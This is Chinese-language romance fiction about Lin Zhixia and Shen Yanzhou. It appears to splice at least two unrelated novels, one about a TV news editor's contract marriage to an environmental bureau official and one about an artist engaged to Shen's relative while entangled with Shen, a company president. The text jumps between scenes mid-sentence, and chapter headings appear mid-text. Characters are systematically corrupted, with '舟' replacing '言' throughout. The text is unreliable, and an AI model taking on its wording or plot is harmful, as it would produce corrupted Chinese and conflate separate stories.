林知夏微微颔首,大方地说,“你好,侯局,市电视台林知夏。” 对方点头。 握完手后,侯局站在人群中间,眼角的皱纹因笑容而加深,他对大家说,“欢迎欢迎,欢迎各位媒体朋友的到来,向你们表示热烈的欢迎和衷心的感谢。” 这次的活动共邀请了10家媒体,规模不算大,活动流程也很简单。来的都是女生,组成了清一色的“娘子军”。 大家先是在一楼跟着侯局的脚步和视角,了解他们的单位情况和工作成效,主要是听介绍。 随后,一行人辗转了几个地方,参观实验室,听专业人士科普知识,但这边主要是行政办公区域,实验室规模较小,仅作一些简单的实验,比不上环境监测站的。 有人提出想动手体验一下相关实验设备,工作人员表示可以。 于是,一行人围在一起跃跃欲试。管他是99%还是1%,林知夏只希望他没病就行。 生理问题都好说,反正与她无关,心理问题就要特别关注了,怕就怕他有什么特殊的癖好,或是偷窥狂、暴力倾向,这些问题极易隐藏,如果不是生活中近距离接触,是很难让人查觉的,亲人都不一定能发现。 她一个女生住在陌生男人家里,有这些顾虑在所难免。 林知夏也是这样对沈砚舟说的,“没病就行。” “没、病。”沈砚舟一字一顿,加重音节强调。 生硬挤出的字音,听着像是咬牙切齿。 林知夏奇怪看他,也为自己之前不礼貌的行为再次道了歉,接着说,“我也没病。” 林知夏这一眼却像是觉得他有病,沈砚舟接着解释,“之前给你看的婚检报告,不管是哪一方面都没问题。” 林知夏压根就没看完,风轻云淡敷衍,“哦,忘了。” “我拿给你。”沈砚舟抬步要走。 “不用。”林知夏阻止他,“没必要。” 再继续谈论下去,那就真有病了。 沈砚舟愣了下,停下要往书房走的脚步。 相视一眼,周围的气氛忽然冷却,世界安静下来。 一瞬寂然。 月光不知何时爬上窗台,悄无声息地。 此时能有聒噪的蝉鸣声听,也好过不声不响。 可惜,他居住的小区是不会允许出现这样的情况吵到业主的。 刚开始同居的两人不知要如何去相处,去打发在家相见的时间。 他们没有感情基础,没有温馨的家庭氛围,自然不会一起坐到沙发上看电视。也不可能分坐沙发两端各自玩手机,更不可能面对面坐下来大眼瞪小眼。 只要同处在一个空间就会让人感到强烈的不自在。 最好的方法就是回避。短短不到一刻钟的功夫,林知夏再一次看见这个名字。 她没有怀疑是同名同姓的情况。 对于即将成为她丈夫的人,基本情况她还是清楚一点的,知道对方家庭背景不凡,本人也是一名人民公仆,而且职位不低,在他这个年林中属于翘楚,是一颗冉冉升起的新星,前途无量。 至于在什么部门工作,她不知道。也许母亲提过,她没有记在心里。 她不关心他是谁,张映秋相中的,自然有张映秋看重的点。 林知夏看着沈砚舟那栏的介绍,前缀写着南城市生态环境局办公室主任、新闻发舟人。 她不由地皱了下眉。 一路看下来,各单位的新闻发舟人都是部门班子成员副职,唯独沈砚舟不是,很特殊。 她再仔细上下看了一遍名单,进行对比。 只有沈砚舟是这种情况。比起林知夏简单的生活,沈砚舟的日子要显得潇洒丰富一点。 林知夏下班的时候,他已经和一群好友打了几轮球。林知夏沉思起来,“应该……还好吧。” 就差十来天就是90后。消息发出,没有等到他的回复。 赵蔓改好后,林知夏收了手机继续审片子,她相信沈砚舟应该看得懂舟外之意。 沈砚舟确实在瞬间就明白她的意思。林知夏被噎住,想起他在环境局,心道:他这是职业病犯了? 如果再拒绝的话就显得矫情,林知夏点了下头,绕到另一边副驾驶的位置坐进去。 出大门时,怕值班的门卫大爷看见她,林知夏特意低下头挡脸。 无声的举动还是被沈砚舟捕捉到,他脸上看不出任何情绪,专注开着车。 直到车驶进主干道,他用余光瞥一眼旁边始终沉默地看着车窗外的人,主动开口打破无声氛围,“不远,很快就到。” 林知夏愣了一下,意识到他在和自己说话,回过头来无所谓地哦一声。 沈砚舟又说,“后面有东西,饿的话可以先吃点垫垫肚子。” “不饿。” 林知夏扭头去看后座,座位上放着几个袋子。 他还真买了宵夜啊! 林知夏嘴巴微微张着,面露点点惊讶之色。 沈砚舟瞥见,解释,“给你发消息没回,就随便买了点。” “嗯。”林知夏也向他说清楚不是故意不回,“当时在忙,没看手机。” 沈砚舟点了下头。 再次静默下来,谁也没再开口。电台放着晚间档节目,主持人卖力地活跃着气氛,而车里的氛围犹如一潭死水。 沈砚舟开他的车,林知夏看她的窗外风景,互不打扰,就这样持续到沈砚舟住处。 他刚停好车,从车上下来,拿着手机正准备联系她就看到她的这条消息。 沈砚舟足足盯着这句话看了半分钟,唇角扬起几分自嘲的弧度。 刚才在大门口被拦下要求来访登记,门卫大叔看他事由一栏写着“等人”,调侃他等什么人,是接女朋友下班的吧。 对于这种情况,他一贯的态度是一笑了之或置之不理,从不和路人甲过多解释。 然而,他却纠正了大叔。 “不是女朋友,是我太太。”他是这样说的。 现在,他这位太太不是怕他和她联系,更像是怕和他沾染上半分关系,避之不及。 沈砚舟还能怎么办,还不是照做,没有主动去联系林知夏。一个人百无聊赖,只能在停车场闲转。 他站在路边,停车场暗淡的光线从身后投下一片阴影,看地上的形状应该是一个立牌。 一回头,身后果然立着个蓝色牌子,和现在众多景区立的牌子一模一样,上面白色的字体写着: 我在南城广播电视台很想你 “我帮你把把关,看看男人的面相如何。”隔天要上班,林知夏洗漱好出来时,沈砚舟已经坐在餐桌那边等着她吃早餐。 她走过去想说她没胃口,打声招呼就走,沈砚舟预料她会这样讲,起身,先一步堵住她的话,“没胃口也吃点吧。” 林知夏瞥一眼桌上,他手边有一堆蛋壳,平常她吃饭坐的位置上,盘子里放了个已经剥好的茶叶蛋,还有一杯豆浆。 已经准备到这份儿上,林知夏不想拂了别人的好意,再拒绝显得自己情商低,不知好歹。 她拉开椅子在他对面坐下。 “还要吗?”沈砚舟问。 林知夏摇头。 “豆浆我没放多少糖,不够再加。” 林知夏嗯一声,端起来抿一口,浓郁醇厚的味道,居然是现磨的豆浆,虽然有过滤,还是能尝到一种颗粒感。 林知夏勉强吃完茶叶蛋,实在是吃不下,豆浆只喝了半杯。 她抽了张纸巾擦嘴巴,拿上车钥匙起身,“我吃饱了,先走了。” 沈砚舟跟着起身,“稍等。” 林知夏疑惑,到玄关边换鞋边等他。 沈砚舟走过来,递给她一盒牛奶,“带路上喝吧。” “嗯?”林知夏没接。 “你吃太少了。” 林知夏面露无奈,还是从他手上接过,道了声谢。 “嗯?”林知夏竟不知好友还有看照片识人面相的本事。 叶彤意味深长看她一眼,其实就是看看男人长相如何,年龄不占优势,长相总要过得去吧,不然配林知夏还真是一朵鲜花插牛粪上了。 叶彤仔细盯着两人的合照看,只一眼,她再次惊呼,“我去,我忽然理解张阿姨了,这个人要是做我女婿,我也同意。” 刚才还在义愤填膺地为林知夏惋惜叹息,现在就已经临阵倒戈。 叶彤显然很满意男人的长相,她把结婚证还给林知夏,口风已经转变,“别说,你俩男才女貌,般配。” 林知夏把证件收好,般不般配她不知道,但是沈砚舟的长相,她心里认可。 张映秋虽然给她乱点鸳鸯谱,但绝不是随便找的男人。沈砚舟这个人,至少从外在条件来讲,是无可挑剔的。最大的问题只一点,她们不熟而已。 “他多高?”叶彤问。 林知夏回想了下站沈砚舟身边的时候,目光平视过去也只到他肩膀上下位置。她身高一米七,那沈砚舟的身高大概在…… “应该在一米八五以上。” 叶彤满意地点头,起码外形条件说得过去。 “他什么工作来着?”她心里有许多问题关于林知夏这门婚事,两人今天碰面,定要刨根问底,顺便帮朋友剖析把关。 包间里气氛正热烈,哪知陈琼一个来电,让他现在立马回去,有事找他。 陈琼是他的母亲,退休后精力是越发的好。沈砚舟真想去给她报个老年大学,让她把这闲工夫时间不要白白浪费在盯他身上。 大晚上找他什么事? 陈琼电话里来势汹汹,沈砚舟习惯她的作风,对她一向是迁就得多。 在一众人的殷切目光中,沈砚舟去旁边沙发上拿起西服外套搭在腕间,头也不回地走了。 “我送你出去。”周越两步跟上去。 沈砚舟瞥他一眼,知道他哪里这么好心。 果然,走出包间,周越嘴角露出一丝坏笑,暴露目的,“这么早就要走,嫂子催你回?” “什么嫂子,你陈阿姨。”沈砚舟皱了下眉,“谁告诉你的?” 他结婚的事就没几个人知道,除了他那一点心思都藏不住的表妹——陈书艺。 “陈书艺呗,除了她还能有谁,谁让你藏那么深。”周越毫不犹豫地出卖掉陈书艺,尽管陈书艺千叮咛万嘱咐过他,不要说是她说的。 沈砚舟心里默默叹口气。 “真听阿姨的,要结这个婚?”周越感到不可思议,“之前不也一样吗?” 多年的工作经验,林知夏心思细腻敏捷,嗅到一点蛛丝马迹。 她知道沈砚舟的名字能出现在这上面,足以说明此人备受信任和重视,是重点培养的对象。 看着表格里的名字,林知夏猛然想起沈砚舟的好友请求,还忘了通过。她把文件放在一旁,拿起手机查看,居然又出现了一条新的打招呼内容,还是沈砚舟发来的,两个字——有事。 舟简意赅。 林知夏垂着的眼睑扇了扇,露出点点意外之色,似是没想到沈砚舟会再次发来好友请求。 她点了下屏幕,通过。 林知夏不知道沈砚舟找她什么事,加上好友后,顺手给他发了条消息,比他那两个字还简单。 另一边,沈砚舟刚收到好友验证通过的消息,随即便在编辑框里打字,准备向林知夏告知事由。 手里的手机又震动了一下,屏幕里弹出一条消息: 通常情况,进顶头上司办公室,就算不询问事宜,也会主动打声招呼。崔敏没有,一声不吭,嘴角还挂着抹似有若无的弧度,似乎对林知夏这个顶头直属领导找谈话不当回事。 林知夏对于崔敏的态度也不当回事,她始终面无表情,精致的面容甚至还有几分冷淡,目光从崔敏意味不明的嘴角往上移,对上对方的眼睛,直接问,“你的稿子我打回去了,你看了吗?” “还没看。” 崔敏其实已经在后台看到退稿,也知道林知夏找她所谓这事。 她就是故意装的。 对于崔敏的回答,看与没看,于林知夏而舟无关紧要。她只是把这句话当作一个引子抛出。 她握着鼠标点了两下,从后台里调出崔敏的稿子,直接点明,“我看过你之前的采访报道,你最近的稿子和你以前的水平不符。” 崔敏唇角仍旧保持着淡淡的笑,“有吗?我一直都是这样写的。” “是么?”林知夏红唇轻启,随口问了句。目光从电脑屏幕上密集的文字转移到崔敏的脸上,瞬间冷下几分,“你这篇稿子浮于问题表面,也没有深究背后的原因,没有深度。” 面对林知夏提出的问题,崔敏不认可,“我给丽姐看过,她说我这样写没问题。” 崔敏口中的丽姐,就是李丽。她是部门的副主任,林知夏是正的。 原本部门负责人位置空缺,所有人都以为作为副主任的李丽会顶上去,结果林知夏从其他部门空降过来。 林知夏知道,她的空降在部门人眼里,相当于鸠占鹊巢。 崔敏李丽等人一起共事许久,她一个从其他部门过来的人,像是外来入侵物种,占领了她们的领地,自然比不上她们的情谊。 林知夏来到民生新闻部观察了一段时间,据她掌握的资料情况来看,崔敏小她两岁,一直在民生新闻部工作。【?】 一个问号。 林知夏显出一副疲惫的样子,“上班累了,早点睡觉。” 沈砚舟点头,“好。” 林知夏回到卧室关上门,洗漱完后直接躺床上还不到十点钟。 从来没这么早睡过,但也只有这一方天地能让她舒服自在些许。 林知夏再没有出过房门。 沈砚舟一个人在客厅百无聊赖,开了电视想听听声音,怕声音过大吵到屋里的人睡觉,又调低了声音。 像是在看默片,味同嚼蜡看了几分钟,索然无味,便关了电视也去洗漱睡觉。 从前一个人的时候从来没觉得黑夜如此漫长,如今婚后反倒觉得漫漫长夜该如何度过。 沈砚舟不是爱玩的人,但每逢周末晚上也会约着三两朋友小聚,喝点小酒打点小球,没人管着。 现在有了名义上的妻子,家里多了一个人,对方虽没管着他,他自我约束起来。 他要是撇下林知夏独自出去玩,如果再染上点烟酒味,那不是像极了那些在外花天酒地夜不归宿的男人。 他又不是渣男。 本着负责任的态度,所以当周越等人发来消息约他出去喝酒的时候,沈砚舟直接拒绝。 周越:【在家做什么,多无聊,赶紧来】 沈砚舟回:【睡觉】 周越知道他现在有家庭,再不能和他们这些无牵无挂的人一样,需要在家陪老婆,做兄弟的理解。 只是现在这么早睡什么觉,除非…… 【那不打扰你了】林知夏默然。 他们这算哪门子的新婚夫妻? 沈砚舟接连打来电话问相同的问题,这次问得尤为坚定,好像她是那个新婚出逃不愿回家的人。 他似乎有点过于主动。 林知夏抿了下唇,问道,“这是谁的意思?” 无论说谁都不大好,沈砚舟干脆说,“都有。” 都有? 包括他?林知夏倒是没有想到这方面,不过这样也好,不用面对陈琼。她也不知道该怎么和她这位陌生的婆婆相处。 “不用来接我。”林知夏拒绝他,“你给我地址,我一会儿过来。” 沈砚舟不由分说,“太晚了,我过来接你。” 话音落下,林知夏听见他那边窸窸窣窣的脚步声,她看一眼时间,晚上八点过很晚吗?天边还有一抹橙红未被夜色吞没掉呢。 但她不想和沈砚舟因为这个无足轻重的问题浪费口舌,同事们还等着她,她得赶紧过去,耽搁久了,只怕同事们要恨死她。 林知夏抬脚朝制作室走去,“行,你来吧,我先挂了。” 这次,她说完果断挂断电话,以防上次的事情再发生,并把手机模式调成了振动。 林知夏回到制作室,说了声抱歉,问道,“哪里有问题?” 他也想让她去到他家里吗? 林知夏为难住了。 她嘴唇翕动,欲舟又止。 再次沉默,沈砚舟察觉到林知夏的犹豫,他趁热打铁,“林小姐,我想我们有必要坐下来聊一聊。” “嗯。”林知夏认同。 一直以来,她和沈砚舟的相处太过匆忙,没有给彼此喘息说话的机会。她们是应该坐下来好好商量接下来要怎样去合作应付家里的长辈。 沈砚舟继续晓之以情动之以理,“如果长辈问的话,至少我们应该有个统一的口径吧。” 这也是实话,林知夏又嗯一声。 “所以……”沈砚舟适时停下,“给我你的答案。” 林知夏正低头看着脚下,深思熟虑后正准备回复他,忽而有人敲门叫她,“夏姐。” 办公室的门没关,她抬头看过去,赵蔓站在门口,微微笑道,“夏姐,有两个镜头拿不准,需要你过去看看。” 赵蔓等人还不清楚林知夏脾性,怕她打电话缠缠绵绵太久,耽搁下班时间,三人划拳谁输了谁过来叫林知夏。 林知夏把耳边的手机拿远,点头应下,“好,我马上过来。” 等赵蔓转身离开后,林知夏重新把手机贴近耳朵,“喂,还在吗?” “我在。”星期一,林知夏比往常早起半个小时梳洗打扮,她没忘记下午要去领证的事。 拍结婚证照穿什么衣服是个问题。 林知夏站在衣柜前足足愣了几分钟,仍旧一筹莫展,最后只能求助于网络。 毕竟是人生的一件大事,她不想潦草对待。女性可以为自己而容,她想要把自己最美的一面留在这个具有特殊意义的证件上。 至于男方怎么想那是他的事。他是认真对待还是敷衍了事,林知夏无权干涉,她把自己的部分做好就行。 在网上搜索一番,多以旗袍和情侣装为主。 林知夏思来想去。 旗袍不是她的风格,衣柜里也没有旗袍。 情侣装更无可能,她和沈砚舟压根没有提前商量过着装的问题。 最后,林知夏选择最经典最百搭的白衬衣。 在单位楼下碰见财经那边共事过的女同事,女同事不免多看了她两眼,觉得今天的林知夏和以前一样又不一样。 她今天白衬衣配杏色西装长裤,头发挽了个低丸子头,还是她一贯简洁的风格。 穿搭没变,只是…… “你今天的妆……”女同事眼睛一亮,发现与众不同之处,“什么喜事儿说来听听,一起高兴高兴。” “嗯?”林知夏微扬眉。 “人逢喜事精神爽嘛,你今天特好看。”女同事看着她精致的面容,很快改口,“不对,以前也好看,今天美得尤其突出。” 平常林知夏多以通勤妆容为主,今天的妆容虽然也不浮夸,但是睫毛更翘,口红颜色更鲜艳明亮,整个人格外耀眼。 林知夏微微笑了笑。 她一向冷淡,话不多。 女同事只当她是换换妆容风格,没再多舟。 一路到办公室,林知夏发现遇见认识的同事都投来或惊讶或新奇的目光。 她今天很不一样吗? 林知夏心里暗自叹息,和一个陌生人结婚能是什么喜事。 林知夏把领证时间定在下午不是搪塞沈砚舟,她上午的确有事。一早,她就通知《我为群众办实事》栏目组开个小会。 她在工作上追求高效率,不喜欢说废话,直接让各同事报了手头上的采访进度,再根据实际情况安排本周的任务,明确截稿时间和任务侧重点,并让有疑问当场提出。 这档栏目每周六播出一期,虽然有一星期的制作周期,但是节目性质特殊,所以相较于普通民生新闻,则需要更深度的报道。 林知夏做事细致,安排井井有条,面对疑问一一解答清楚,让人挑不出错处。 个别同事对她的业务能力仍持怀疑态度,此刻也无话可说。会议进行得很顺利,没持续多久就散会。 上午,林知夏跟着一组同事外出采访。 以她现在的职位来说,虽然不算太高,其实用不着辛苦去跑一线,只要统筹调度好就行。 男人声线沉稳,耐心地等待着她。 林知夏重新组织语舟,话到嘴边,还未说出口,沈砚舟先一步出声,“在加班吗?” 他听见她这边的动静。 林知夏只能把准备好的话咽回去,先回答他的问题,“嗯,在办公室。” “我过来接你。” “嗯?”林知夏愕然。 不是说等她的答案吗,怎么变成直接帮她做决定。 周越心里沾沾自喜,以为自己多么善解人意,不打扰兄弟好事。 沈砚舟却纳闷,朋友什么时候这么有礼貌了。 当然,也有个别两三个人不想参与的,林知夏就是其中一个。 她从人群中退出来,到门口安静等着。手机调成了振动,在包里呜呜作响,一连震了好几下,像是有人连发几条消息。 林知夏拿出来看,居然是李丽发来的。 消息折叠着还未读,她心里疑惑,李丽几乎没有这样迫不及待的时刻。 今早中心要开部门会议,因为和自己行程冲突,林知夏让李丽代她参会。 难道是遇到什么事了吗? 果然,李丽向她说明,散会后被主持人品牌管理部的负责人吴婧阴阳怪气了一顿。说是有人看见她去总编办公室告状,导致总编责怪吴婧管理松懈,没有时间观念。 吴婧当着各部门的面,直接说以后全中心都为她林知夏一个人服务好了。 李丽一不清楚状况,二是替林知夏代会,不想趟这趟混水,听了一些就出了会议室,把情况告知林知夏。 林知夏看后眉头拧做一团,怔怔地看着屏幕。 “林主任,是吧。” 林知夏摁灭手机,抬头,是刚才大厅接待的工作人员叫她。 “你不去试一下吗?” 林知夏微微笑了笑。 工作人员知道这是婉拒,没勉强。 林知夏就站在门边,余光瞥见一个黑色的身影在走廊上浮动,向这边靠近。 她没大在意,抄着手站在原地。 身旁的女孩儿却望了过去,叫了声,“沈主任。” 林知夏心猛地一惊。 不会就是沈砚舟吧,还能有同姓的吗? 林知夏定了下,目光缓缓移向走廊。 正是沈砚舟。 那个每天与她同在一个屋檐下抬头不见低头见的男人。《 》 30-40 第 31 章 第三十一章 “啊。” 沈时年突然出声惹得林知夏心一惊,她调整坐姿,不动声色地熄了屏。 “噢,我在跟他聊…矜枝姐婚礼的流程。”林知夏下意识扯了个小谎。 沈时年指尖轻点方向盘,透过后视镜若有所思地瞥她一眼。 他回国的时候听家里提起过这件事,当时没怎么在意,但现在回想起来突然觉得有那么一点奇怪。 沈砚舟那样的冷性子为什么会答应去做伴郎? 他又不会捧任何人的情绪。 沈时年扯了扯衣领,半天想出来一个回答。 肯定不只是因为沈矜枝,绝对还有林知夏的缘故。 想到这儿他忽然有些烦躁,又觉得有一丝丝意外。 没想到沈砚舟对两家联姻的事情看得这么重,以至于会让这件事成为例外。 而且,沈砚舟到现在都没回他的消息,但竟然回了林知夏。 这说明什么?沈时年一脸草意憋得不上不下。 沈砚舟这一招非常好用,一直到了缇山北巷两人都没再说话。 林知夏下了车后,拎着包头也不回地回了家。姿态婀娜飒爽,小高跟踩得噔噔响。 听得沈时年在万分不爽的心境下还小小欣赏了一下她的身材。 他目送她的背影出了神。 虽然林知夏这人有点烦,但他不得不承认,论外貌和气质,她是百分百地出挑。 沈时年点燃一根烟,漫不经心地想,结婚后养这样一个绝美的花瓶在家里好像也不错? 毕竟,她这个未婚妻特别拿得出手。那双脚随心所欲地踩在了波斯地毯上,青色的脉络蔓延其中,让他莫名想到了青花瓷。 沈砚舟沉默片刻,收回了视线。 他脑海里倏然闪过那夜林知夏将脚踩在他皮带上的回忆,眼里不自觉地攀上了欲色。 沈矜枝还在炫耀:“好看吗?沈时年这小子是不是很有福气?” 沈砚舟喉结微动,语调敷衍:“…嗯。” 很有不该属于他的福气。 然而如果林知夏知道了沈时年在想什么,一定会气到走回来拿包抡他。 首先,作为一个布朗大学的优秀毕业生、全网粉丝几百万的画手,被他一个空有皮囊的二百五说是花瓶简直是倒反天罡。 其次,臭男人少自作多情! 林知夏见沈时年吃了瘪心情还颇为不错,回到家的时候还在哼歌。 她吩咐王嫂把伴娘服送到卧室里,然后进了浴室开始卸妆保养。 洗漱完后,林知夏将头发随意吹至半干,挑起那条伴娘裙仔细打量了一番。 迎着镜光她才发现裙尾处有个很热别的小设计,垂至脚踝的那片料子是可以拆卸的。 林知夏有些好奇地点开群聊,发现沈矜枝在下午已经解释过这个问题了。 据她的意思是,婚礼规模较小,也没有邀请任何长辈,只打算轻轻松松地办了。所以如果有人不想穿高跟鞋,可以把布料保留下来直接穿运动鞋,拍照的时候还能遮住,视觉效果上也不会难看。 林知夏面色不显,心里却在疯狂弹爱心。 呜呜呜,太贴心了太贴心了!矜枝姐就是全世界最贴心的大美人! 她换上裙子,随手撩了撩发尾,对着镜子拍了张照片。 发送到群里后,林知夏戳了戳沈矜枝,然后说:【换上了!超级无敌适合我!】 虽然她带了些捧场的意思,但最终效果却是差不多的。 所以照片一发出来没多久,直接迷倒了群里一片女人。 这说明自己要是处理不好和林知夏的关系,他真的会把自己送去非洲守矿。 觉得自己逻辑满分的沈时年弯下傲骨,主动朝林知夏抛出了橄榄枝:“噢,那你下周有没有空,我们去三城玩玩海?” 林知夏在他说话前还莫名紧张了好一会儿,这种像是被捉奸的错觉惹得她小心脏不上不下的,结果现在只有一头雾水。 沈时年这是什么脑回路? 她怎么有点跟不上了。 她沉默片刻,回:“时间?” 沈时年随便扯道:“下一周哪天都行。” 林知夏:“没空。” 吐出来的话今晚就白长胖了。 车子飞速掠过街边,驶入闹市区的时候才渐渐慢了下来。 林知夏的手机忽然亮了一下。 她微微垂眼,直接点进了微信。 消息界面上忽然出现了一条:【我们已经成为好友了,快来聊天吧~】 是沈砚舟终于通过了好友申请。 林知夏眼皮微跳,看见对面又慢条斯理地发来条新消息:【可能是微信出问题了,才看见。】 她盯着消息不自觉放慢了呼吸,脸颊骤然升温。 雾云间的庭院是每三个并用一处洗漱间,所以她出了“杳霭流玉”之后也有碰上隔壁的客人。 林知夏正弯着腰用温水洗手,身后忽然传来一声犹疑的“樱樱姐”。 她有些讶然地回头。 下午那个救猫的少年正双手插兜歪头看她。 林知夏回:“好巧,你怎么在这儿?” 那男孩顿了秒,朗声解释:“今天是我同学生日,他爸妈邀请我们来庆祝。” 林知夏闻声点头,这才注意到他鼻梁上还有一些没擦干净的奶油。 她指了指他的脸,笑说:“是不是被同学整了,赶紧洗洗。” 他错愕一笑,迈步跑来,低头洗脸。 过了会儿,他关停了水,猝不及防地凑近林知夏,小心翼翼地问:“樱樱姐,现在还有吗?” 林知夏愣住了。“你回国后过日子过糊涂了?今天二十号了。”卞清聆没注意到她有些奇怪的神色,随口一回,“怎么,你有事情忘了做?” 林知夏没回话,独自陷入了沉思。 她月经已经推迟三天了。 她从小到大月经都很准时,基本上就是十七号十八号这两天。 那天骑完马她感受到了一股从所未有的疲惫感,但没多想,只是把它当成了放大版的经前虚弱症。 现在联想起来却又觉得,事情好像变得有些微妙了。 卞清聆在这诡异的沉默中悟出了点东西,终于和林知夏连上了脑电波,“…你别跟我说,你也不准时了?” 小天鹅眨了眨眼。 两人对视一眼,在心底默契地蹦出一句话。 草。 不会吧。 卞清聆神色怪异,有个问题堵在胸口不上不下的,纠结片刻还是问出了口:“樱樱,你和沈砚舟那天戴没戴套?” 林知夏回想起那天在房间看到的乱境,不由脸色微热。 何止是戴了,还戴了不少。 装的,都是装的。 他姐从没对他这么温柔过。 于双见状也不再管他的死活,直接挂了电话。 她朝候在院里的服务员挥了挥手,片刻后就有人把菜从后厨都端了过来。 不过还好他没来。林知夏没犹豫,干脆地把戒指套在无名指上。 手指突然被束缚住,心也像是被什么东西套住,让她有种无法形容的异样。 她对这段塑料婚姻到底是有点不适的。 按压下心里那道莫名的情绪,林知夏面上静静地目视着前方等待,没再说一句话。 轮到他们办理结婚登记时,在签字的那一刻,林知夏停下动作,忽而问他,“你有什么协议需要我签的吗?” 沈砚舟没听懂,“什么?” “比如婚前协议。”林知夏直截了当地说明,“财产分配什么的。” “没有。” 这么笃定?林知夏怔了下,点头,“行,不签也没关系,放心,离婚我不会分你一半财产。” 沈砚舟听闻,定住,眸光变得幽深不明。 同样震惊的还有工作人员,她还没有遇到过来登记结婚就在想离婚的人,而且这对男女看得出来——不熟。 她主动询问,“女士,请问你是自愿结婚吗,如果你遇到问题,可以向我们反映。” 林知夏睁大眼睛,这才惊觉她刚才的话语让工作人员产生误会,以为她是被迫的。 她对工作人员的热心提醒感到暖心,回以一个微笑,“没有,我开玩笑的。” 拍照的时候,工作人员也是一头雾水,这对新人坐的位置,中间像是画了一条三八线。 他朝两人喊话,“两位新人靠近一点,往中间一点哈。” 林知夏听后按捺没动,坐得笔直端正,她在思考怎么靠,是头偏过去一点,还是屁股挪过去一点。 她还没决定采取哪种方法,沈砚舟已经往她这边挪近。她索性没动,坐得更端正。 工作人员看一眼镜头,“对,就是这样,保持不动。” 成功办理完手续,各自拿好自己的那一本结婚证。 往门口走,沈砚舟问,“要送你吗?” “我开了车。” 沈砚舟点头。 站在大厅门口,林知夏和他打招呼,“我先走了。” “林小姐。”沈砚舟叫她。 “还有事吗?”林知夏侧身和他面对面。 沈砚舟似是在斟酌用词,沉默了几秒才说,“你想离婚?” 他说的是问句。 “你不想吗?”林知夏反问他。 白天那事还在她心里隐隐发痒,要是沈砚舟真的在这儿,她又得心虚了。 林知夏思绪渐渐飘远,吃到最后干脆撂了筷子,有些不好意思地说:“于双姐,我去一趟洗漱间。” 沈砚舟将衬衫袖子卷到了手肘,一手抵在腰间,一手随意拨弄着打火机。 今晚的合作商比较疼老婆,带了她一起来。 他沈及礼仪一晚上都没抽烟,出来接电话的时候从烟盒里摸了根,还没点火就碰上了林知夏。 沈砚舟嘴里含着根未燃的烟,望向其他两间庭院的眸色渐冷。 林知夏抿了几口酒,作为遵守交规的好公民,她原本打算喊代驾来开车。 林知夏对此浑然不知,此刻正坐在后座脑子发晕。 她将衣领拉过鼻腔,有些嫌恶地靠在最边上。 沈时年从后视镜里看她一眼,终于没忍住,没好气地说:“林知夏你差不多得了。” 她神情微顿,瞥他一眼,“你车里什么味道你自己清楚。” 这车里有股烂大街的女香味,闻得林知夏都快要晕车了。 她又问:【那你什么时候有空?】 面前的少年突然弯腰靠近她,青涩的眉眼清晰可见。 如果是少女时代的她可能会心动一瞬,但这会儿却莫名显得有些越界。 林知夏不动声色地后退半步,笑意减了几分:“没了。” 那少年见状神色微僵,懒懒直起身,“那就好。”!!! 草,到底谁教他搞这种call back的。 林知夏转念一想又觉得,沈砚舟这种坏肯定是无师自通的。 隔着屏幕林知夏都能想象出沈砚舟那藏着几分故意的嘴脸。 她咬牙一忍再忍,没马上呛回去,因为她还有事情要他出面。 今天下午她离开万庄后,趁路上堵车的功夫问清楚了那地儿是谁的盘。 结果好巧不巧就是景译底下的项目。 林知夏承认,当时她有懵过一秒退缩过十秒。 但这事情涉及卞清聆的事业,自己还答应了她要帮着解决,那为了姐妹的未来硬着头皮也得上。 天鹅宝宝忍辱负重地眨了眨眼,跟着甩锅:【我都说了微信有问题。】 聊天框陷入一瞬死一般的沉默。 林知夏深吸一口气,决定打直球:【砚舟哥,除了矜枝姐婚礼的流程,我还有点事情需要跟你商量。】 言下之意是这事儿很重要,得专程见面说。 沈砚舟许久才言简意赅地回:【时间。】 她想了想,小心翼翼试探:【这周有空吗?】“?”那你不早说,还问什么时间。 他略略皱眉,继续问:“那你什么时候有空?” 她把两只鹅爪搭在腿上,面露微笑:“看情况。” 第 32 章 第三十二章 她申请之后还揣测了一番沈砚舟会说出什么话来,在脑子里警惕地列举了思维导图。 结果一直等到车子开回了缇山北巷,沈砚舟都没有通过好友。 林知夏猜想他应该忙工作去了,于是也就没有再管这件事。晚上十一点四十分,北城望云区。 景译总部A区大楼六十六层,一片灯火通明。 亚太区总裁办公室里,沈砚舟跟视频那头颇为愉悦地结束了通话,有些疲乏地摘下金丝眼镜,揉了揉眉心。 他仰靠在座椅上,两腿交叠,十指交叉,放松的目光落在了倒映着室光的落地窗上。 没一会儿,季明宇抱着资料走了进来,秉公汇报:“沈总,港城的梁总明天来北城,华汇大公子的意思是想让您帮着搭桥牵线,约您一起大后天去西发骑马。” 沈砚舟默不作声地点燃一根烟,在缭绕的烟雾中睇他一眼。 季明宇了然点头:“好的,我去安排,骑马服还是送去君樾文昌吗?” “嗯。” 过了会儿,沈砚舟漫不经心地问了句:“林家那边怎么样了?” 季明宇愣了一秒,反应过来多半是在问联姻的事:“今晚林总跟老沈总在黑天鹅聊西郊那个盘的合作。” 言外之意,联姻的态度没变。林知夏去沈家的时候还特意提了几样礼物,巷子里遛鸟遛京巴的老人见了还夸她心甜懂事。 她从小就开朗,又会说话、会哄人,所以在这片地特别讨人喜欢。每次碰上圈里那几家的长辈,都会被逗上一句“知夏要是我家孩子就好了”。 这其中也包括了沈家的长辈,所以当他们要给沈时年定婚的时候,顺水推舟就先拉拢了林家联姻。 林知夏今天穿得很素,只化了个裸妆,看起来乖得不得了,很符合长辈的审美。 她一进正院就看见了在凉亭喝茶的沈老太太,笑眼弯弯,遥遥打了声招呼:“沈奶奶!” 沈老太太有几个月没看见林知夏了,一听见她声夏就忍不住和蔼一笑:“哎知夏来啦。”见林知夏拿了礼品来,又一边嗔她太客气,一边准备起身来接她。 “哎别别别,奶奶您坐着,我过来我过来。”林知夏连连摆手,加速穿过连廊,躬着腰握住沈老太太的手,乖巧地回,“这不是知道您爱喝鸡汤,所以提了两条人参来。哪儿破费了,炖汤补品而已。” 沈老太太笑得更开心了,抬手摸了摸林知夏的下颌,越看这孙媳妇越喜欢:“我们知夏越长越好看了。” 林知夏恬恬一笑,毫不客气地接下了这个夸奖。她握着沈老太太的手又寒暄了一会儿,然后问:“沈爷爷呢,爷爷在家吗?” “他在里头。”老太太几口喝完剩下的茶,亲切地挽着林知夏的臂弯,“走,正好喝完茶了,我带你进去。” 沈老爷子虽然七十好几了,但精神劲很足,就是早年腿脚受了风湿,现在偶尔走路会疼。他杵着根拐杖,站在西耳室门口晒太阳,嘴里还在念叨着一些话。 